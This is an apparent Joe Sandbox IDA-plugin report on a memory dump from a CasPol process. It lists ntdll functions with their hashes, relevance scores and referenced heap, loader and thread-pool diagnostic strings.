Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 5e8a03364a7dbf99da13d0a8a8205dca5dda18cec97917c54e5b9000a5486353
Instruction ID: 3cccc453ae7454f9bc682aa7192171251a4fd8fdf6770302043b01420d01a394
Opcode Fuzzy Hash: 5e8a03364a7dbf99da13d0a8a8205dca5dda18cec97917c54e5b9000a5486353
Instruction Fuzzy Hash: 8242CD352083829FD715DF2CC884A6EBBE5FF88608F08496EE5968F391D734E845CB52

Function 0156B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrutil.c, xrefs: 015B840D, 015B84E1
LdrpPreprocessDllName, xrefs: 015B8403, 015B84D7
DLL %wZ was redirected to %wZ by %s, xrefs: 015B83FC
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 015B84D0
API set, xrefs: 015B83F4, 015B83F9
SxS, xrefs: 015B83ED

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: fb7c408a677a0c4e8fcf250e258297e16fa38ff08d094ee4001e71f6a7677191
Instruction ID: aa9ab2711953ae4e6eaa8854006901c40b354e2cd99d6f1d651bd725ef8d80b3
Opcode Fuzzy Hash: fb7c408a677a0c4e8fcf250e258297e16fa38ff08d094ee4001e71f6a7677191
Instruction Fuzzy Hash: 76C12471B00216ABDB258B68CC81BBEBBADBF95314F144169ED02EF291EB74C944C3D1

Function 015863FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 015C40E9, 015C414B, 015C420F, 015C4269
Process initialization failed with status 0x%08lx, xrefs: 015C413A
Delaying execution failed with status 0x%08lx, xrefs: 015C4258
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 015C40D8
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 015C41FE
_LdrpInitialize, xrefs: 015C40DF, 015C4141, 015C4205, 015C425F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 2666911aa9abcfb42841dc25e6a3515df6e04cfe1f0525bba38390e31b06b5a2
Instruction ID: ef0cbe06e89552a375257cdfca55d062fcee8d4195e6968497af5a30c09f3d97
Opcode Fuzzy Hash: 2666911aa9abcfb42841dc25e6a3515df6e04cfe1f0525bba38390e31b06b5a2
Instruction Fuzzy Hash: AD910371B007169FEB35EF98DC95FAE7BA2BB81B24F00012CE9417F291DBA49801C795

Function 015FF525 Relevance: 7.7, Strings: 6, Instructions: 231COMMON

Download Yara Rule

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 015FF809
HEAP[%wZ]: , xrefs: 015FF6E7, 015FF794, 015FF7EB
RtlAllocateHeap, xrefs: 015FF56D
Just allocated block at %p for %Ix bytes, xrefs: 015FF708
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 015FF7BE
HEAP: , xrefs: 015FF6F4, 015FF7A1, 015FF7F8

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 0-1745908468
Opcode ID: 2da75c89ed03234167b914461976ebea2ac535f8b7784d31a422797b62fe7314
Instruction ID: 5648161c98002e1c010d09d4c8ce05a7cbb925a7f387fe1248d29459e5f00ccb
Opcode Fuzzy Hash: 2da75c89ed03234167b914461976ebea2ac535f8b7784d31a422797b62fe7314
Instruction Fuzzy Hash: 2D913536900646DFDB12DFB8C841AADBBF2FF59714F18801EE645AFAA1CB319840CB14

Function 0154645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 015A9A11, 015A9A3A
apphelp.dll, xrefs: 01546496
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 015A9A2A
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 015A99ED
Getting the shim engine exports failed with status 0x%08lx, xrefs: 015A9A01
LdrpInitShimEngine, xrefs: 015A99F4, 015A9A07, 015A9A30

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-204845295
Opcode ID: cc8f5d724836b26c8e3d954614d170f7a77158d7f67b83ccfa795efde2c2c545
Instruction ID: 593879c0e5f929804913420a6af01800d700c1e2580a207fe2189e3c9694f501
Opcode Fuzzy Hash: cc8f5d724836b26c8e3d954614d170f7a77158d7f67b83ccfa795efde2c2c545
Instruction Fuzzy Hash: AA518D712483169FE720DF24DC91BAF7BE8FB85648F40491EF5859F260DAB0E904CB92

Function 0157F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 015C031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 015C02E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 015C02BD

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 5098fd3ced3888450ec981bc478152d43f9b1bf741d1ae02ee1a733ffe94061d
Instruction ID: d73ce8700345221cf49c565513c6d7e24eafd62ad92f87212136436df4fac09f
Opcode Fuzzy Hash: 5098fd3ced3888450ec981bc478152d43f9b1bf741d1ae02ee1a733ffe94061d
Instruction Fuzzy Hash: B8E1BC34608742DFD725CF68D885B2ABBE1BB88724F140A2EF5A58F2E1D774D845CB42

Function 015751EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

Kernel-MUI-Language-Disallowed, xrefs: 01575352
WindowsExcludedProcs, xrefs: 0157522A
Kernel-MUI-Number-Allowed, xrefs: 01575247
Kernel-MUI-Language-Allowed, xrefs: 0157527B
Kernel-MUI-Language-SKU, xrefs: 0157542B

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: c56124a86d55da1834139372512eae3dfd85115745a20945d9ccfa052c3c305a
Instruction ID: 73669aa57d8e271148ce399eafd6e56a2f282aa320b063a8852fa95db5adc27e
Opcode Fuzzy Hash: c56124a86d55da1834139372512eae3dfd85115745a20945d9ccfa052c3c305a
Instruction Fuzzy Hash: C9F13D72D2021AEFDB12DF98D9819DEBBF9FF48650F15046AE505EB250E7709E01CBA0

Function 0159096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON

Download Yara Rule

APIs

Part of subcall function 01592DF0: LdrInitializeThunk.NTDLL ref: 01592DFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01590BA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01590BB6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01590D60
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01590D74

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID:
API String ID: 1404860816-0
Opcode ID: 3fad7a19679571a42762eebdf02f4c3d198a7c3b97668531a8177d0094a20bc7
Instruction ID: 87598b340a2026392206c946b84a8530d660907de3df789a7e0388f673efb815
Opcode Fuzzy Hash: 3fad7a19679571a42762eebdf02f4c3d198a7c3b97668531a8177d0094a20bc7
Instruction Fuzzy Hash: F2426B75900716DFDB21CF68C880BAAB7F9FF44314F1445A9E989EB241E770AA84CF61

Function 015670C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01567C6D, 01568670
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 01567C96, 01568696
HEAP: , xrefs: 01567C7C, 0156867F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 54f822d9074169e59ad669f2c7cef1c1b9f3f673534685c075cc2253e5172fd4
Instruction ID: 8c3b30af8a9cd3faa15b28aab8752c1565b1b5123be6874d032f16f4afacb5b4
Opcode Fuzzy Hash: 54f822d9074169e59ad669f2c7cef1c1b9f3f673534685c075cc2253e5172fd4
Instruction Fuzzy Hash: 4613BC70A00356CFEB25CF68C8907ADBBF5BF58304F1885A9D949AF385D734A985CB90

Function 01561070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 015B5877
@, xrefs: 015B5A53
HEAP: , xrefs: 015B5884
!(CheckedFlags & ~HEAP_CREATE_VALID_MASK), xrefs: 015B588F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
API String ID: 0-3570731704
Opcode ID: 9db4b56e03970ae5f2fd3734a0e3e08aa39f7082d74a8daaa66fdda7724da2a5
Instruction ID: c8a00822f60d4757adc1bd0b787100a36127354fd73e6705ab0535c336ee1574
Opcode Fuzzy Hash: 9db4b56e03970ae5f2fd3734a0e3e08aa39f7082d74a8daaa66fdda7724da2a5
Instruction Fuzzy Hash: 75925D71A00629CFEB25CF28CC80BADB7B5BF85354F1581E9D949AB251E7709E80CF91

Function 0155A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Exit, xrefs: 0155A3FF
LdrResFallbackLangList Enter, xrefs: 0155A3EF
6, xrefs: 0155A3F7
8, xrefs: 0155A3E7

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 5e1e05065463c995f2077e0b44c386af783d1d9e236abd18030a748e736fbb02
Instruction ID: b8d13fbcab148b1a33517e8e7ef14d62f3cd4b8db976965d807f8c5f1f061582
Opcode Fuzzy Hash: 5e1e05065463c995f2077e0b44c386af783d1d9e236abd18030a748e736fbb02
Instruction Fuzzy Hash: 0CC18E74508382DFD761CF58C090B6ABBE4BF88708F044A6AFD958F251E734D949CB62

Function 01588402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 01588421
LdrpInitializeProcess, xrefs: 01588422
@, xrefs: 01588591
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0158855E

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: 77ee725f69807ce4bc022fdcda2f2627898e0eeb0815825345c77303deb352e6
Instruction ID: b632b56705f955b18bb40d1c25d7470d80a6654e3bd697c13ec1143c02aab64a
Opcode Fuzzy Hash: 77ee725f69807ce4bc022fdcda2f2627898e0eeb0815825345c77303deb352e6
Instruction Fuzzy Hash: 1D918D72619346AFD721EE65CC40EAFBAE8FF84754F80092EF6849A151E730D904CB62

Function 015564AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 015B106B
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 015B0FE5
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 015B10AE
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 015B1028

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 7b7224e291eb93b83f24147534cf317b35016aba363cf30fa07185d707e55a4f
Instruction ID: 12795c7620088f78fa51c3a785f09298ab02da1b842380435600cba8de373c48
Opcode Fuzzy Hash: 7b7224e291eb93b83f24147534cf317b35016aba363cf30fa07185d707e55a4f
Instruction Fuzzy Hash: 727100B1944346AFCB61DF18C880B9B7BA8BF95768F800429FD498F186D334D188CBD2

Function 016011A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 0160123D, 016012B7
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 01601261
HEAP: , xrefs: 0160124A, 0160125D, 0160125F, 016012C4
This is located in the %s field of the heap header., xrefs: 016012D6

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-336120773
Opcode ID: 3562ed30ded2670a6ab4e52d2b39e5708c127dba02da070ca3296913ce2982d7
Instruction ID: 828c955be19e0977361eb03064f95fcec8f82f267218425aedb3bc684d0270b5
Opcode Fuzzy Hash: 3562ed30ded2670a6ab4e52d2b39e5708c127dba02da070ca3296913ce2982d7
Instruction Fuzzy Hash: C231C876200116EFD72A9BA8CC85FAB77E8FB46724F148059F501DF2D0E730E980CA64

Function 0157245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 015BA9A2
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 015BA992
apphelp.dll, xrefs: 01572462
LdrpDynamicShimModule, xrefs: 015BA998

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 59cc31887c69ba97f137923a0988c74eadd31d3f79efacd55dd5632b0e351567
Instruction ID: d1e4156906324cc4c225927a185afa0c4410c3691df3fd8e9b15efeda9882658
Opcode Fuzzy Hash: 59cc31887c69ba97f137923a0988c74eadd31d3f79efacd55dd5632b0e351567
Instruction Fuzzy Hash: 8A31267A600202EFEB35DF5DDC85AAEBBB5FB84B04F160019F9016F245D7B09951C790

Function 01549148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 015ABAA0, 015ABADD
VirtualQuery Failed 0x%p %x, xrefs: 015ABAF7
VirtualProtect Failed 0x%p %x, xrefs: 015ABABA
HEAP: , xrefs: 015ABAAD, 015ABAEA

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: 37e4754002c5ee9e30e20d4e62dece1b628d6401b5f0a529e4d71855e2641809
Instruction ID: 09caf35e034977b89660c6c1944863269977fb56bc0685fd8224e47f57563474
Opcode Fuzzy Hash: 37e4754002c5ee9e30e20d4e62dece1b628d6401b5f0a529e4d71855e2641809
Instruction Fuzzy Hash: 4531A036640119EFCB01DB99C885FAEBBF8FF85728F144059E914AF291D7B0ED40CAA0

Function 015F94E0 Relevance: 4.3, Strings: 3, Instructions: 558COMMON

Download Yara Rule

Strings

0, xrefs: 015F9BF6
, xrefs: 015F9B84
, xrefs: 015F9AD7

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: $ $0
API String ID: 0-3352262554
Opcode ID: 1f3da038d00de06fcfaa3c693fef46dbf4850a69c129d735b196ec0a9dc84f69
Instruction ID: 55988b33997a977d2bdd4edc7e23162463bb5afa86987c068fc57c44ac2066be
Opcode Fuzzy Hash: 1f3da038d00de06fcfaa3c693fef46dbf4850a69c129d735b196ec0a9dc84f69
Instruction Fuzzy Hash: 423204B16087818FE720CF68C984B5BFBE5BB88348F14492DF699CB250D775E948CB52

Function 01551460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01551712
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 01551728
HEAP: , xrefs: 01551596

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 4ed07fbdb012104a6d9fe22279710347638d2c2a81ffe5570284ed7e36020396
Instruction ID: 615eb4ec6214bf95bb4e491dee750a43f42c7541d79d6209b0d74850fe7ebab3
Opcode Fuzzy Hash: 4ed07fbdb012104a6d9fe22279710347638d2c2a81ffe5570284ed7e36020396
Instruction Fuzzy Hash: 14E1CF30A04A469BDB69CF6CC4A1B7EBFE1BF44304F18895AE996CF646D734E940CB50

Function 0154A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

FilterFullPath, xrefs: 015AC2E6
\??\, xrefs: 015AC1E4
UseFilter, xrefs: 0154A1C1

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 411783c07b1e83819f8df81b912832c4752d9254be981bbf55b6a229bae74a3f
Instruction ID: f7588cc9cf593405c9ef180d121c43939f1d4da7cc9d81aafd5109f4ab32555a
Opcode Fuzzy Hash: 411783c07b1e83819f8df81b912832c4752d9254be981bbf55b6a229bae74a3f
Instruction Fuzzy Hash: 86A16E769416299BDB31DF28CC88BAEB7B8FF44714F0041EAE909AB250D7359E84CF50

Function 0155B440 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Exit, xrefs: 0155B477
{, xrefs: 015B37B6
LdrpResGetResourceDirectory Enter, xrefs: 0155B465

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: e3ac92fd8a583b967a4bcefb9314928598dc7411c524120a658ef4a40fb84929
Instruction ID: 662b3ccd333cd28836d598c06301ffd3becf61ca3dc02895b4007eca11339762
Opcode Fuzzy Hash: e3ac92fd8a583b967a4bcefb9314928598dc7411c524120a658ef4a40fb84929
Instruction Fuzzy Hash: 0A91BF7190120ACFDB65CF58C4A4BEDBBB2FF01354F144596ED11AF290D7789A80CBA1

Function 0158909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

%, xrefs: 015C5D3F
&, xrefs: 015C5CF8
@, xrefs: 01589148

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: %$&$@
API String ID: 0-1537733988
Opcode ID: 70a8dfbc24ac8d302dde87210a0e2c635186cfd472b90a945bb10016d053c3eb
Instruction ID: 71f0ef094d1c75074dbc06039d53ecb25c0e55120341a3ce7b39b3a6b96d24a0
Opcode Fuzzy Hash: 70a8dfbc24ac8d302dde87210a0e2c635186cfd472b90a945bb10016d053c3eb
Instruction Fuzzy Hash: 0F71B1706083429FD715EF68C980A2FBBE6BFD471CF108A1DE4966B691D730E905CB52

Function 015715F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrmap.c, xrefs: 015BA59A
Could not validate the crypto signature for DLL %wZ, xrefs: 015BA589
LdrpCompleteMapModule, xrefs: 015BA590

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 6e60ccd9fed69fa6a32c9c03ab24046f816b45c5ecd657ad8e22a7cf825357af
Instruction ID: a6f8c17a699103cae3254def64ca70774323b5008a7914a3fb3732e0a5e2d448
Opcode Fuzzy Hash: 6e60ccd9fed69fa6a32c9c03ab24046f816b45c5ecd657ad8e22a7cf825357af
Instruction Fuzzy Hash: D4512170600B469BEB22CF6CD9C5B6A7BF8BF40714F180668EA519FAE2D774E940C750

Function 0154758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 015AAFAB
Invalid address specified to %s( %p, %p ), xrefs: 015AAFCB
HEAP: , xrefs: 015AAFB8

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 0-1151232445
Opcode ID: 39f998db31cb91500160942dc2e154480c78426a259e1ee95811106c9fbaa1a2
Instruction ID: 6c52d17e384bad3da2907c83360656d844c9b15fcef736317faf1b30e3dd8135
Opcode Fuzzy Hash: 39f998db31cb91500160942dc2e154480c78426a259e1ee95811106c9fbaa1a2
Instruction Fuzzy Hash: 3E4125782403808FEF29CA5CC4807BD7FE6BF4A348F5844A9D5568F286D774D886CB51

Function 0160C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

@, xrefs: 0160C1F1
PreferredUILanguages, xrefs: 0160C212
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0160C1C5

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: 9d484cf42f90d47b93a016b1b6a17458f1b80b409eb52fcb47c584034f805989
Instruction ID: a3dc9c4ac0b3234c1b2598e84dfbc4781a353928d5c28172c09bf375c0b1ea93
Opcode Fuzzy Hash: 9d484cf42f90d47b93a016b1b6a17458f1b80b409eb52fcb47c584034f805989
Instruction Fuzzy Hash: 00417271E0020AEBDF16DBD8CC51BEFBBB8BB54704F1481AAE609A7680D7749A458B50

Function 015E4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

@, xrefs: 015E4225
LdrpResValidateFilePath Exit, xrefs: 015E4172
LdrpResValidateFilePath Enter, xrefs: 015E4160

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: df07f261f167b2b93a9fb1c41480c8825fd0467c8b82b6071dff08979c980d5a
Instruction ID: 2153f725db40c14b7ef0d1686e158903ee0a7526fba02568589d560ed5fcf583
Opcode Fuzzy Hash: df07f261f167b2b93a9fb1c41480c8825fd0467c8b82b6071dff08979c980d5a
Instruction Fuzzy Hash: FE41F371E0065A8BEB29DBE8C848BADBBF8FF95340F14045ADA01EF781D7349901CB51

Function 015D4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 015D4888
minkernel\ntdll\ldrredirect.c, xrefs: 015D4899
LdrpCheckRedirection, xrefs: 015D488F

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: de5bfa1b6c7cd24010f495e77ed886ef71296e118343fabc519dc8feb89f1c98
Instruction ID: a54014c715ea8b69b825b57e04f285ece0647fc7ca971f7f33cce422fd352777
Opcode Fuzzy Hash: de5bfa1b6c7cd24010f495e77ed886ef71296e118343fabc519dc8feb89f1c98
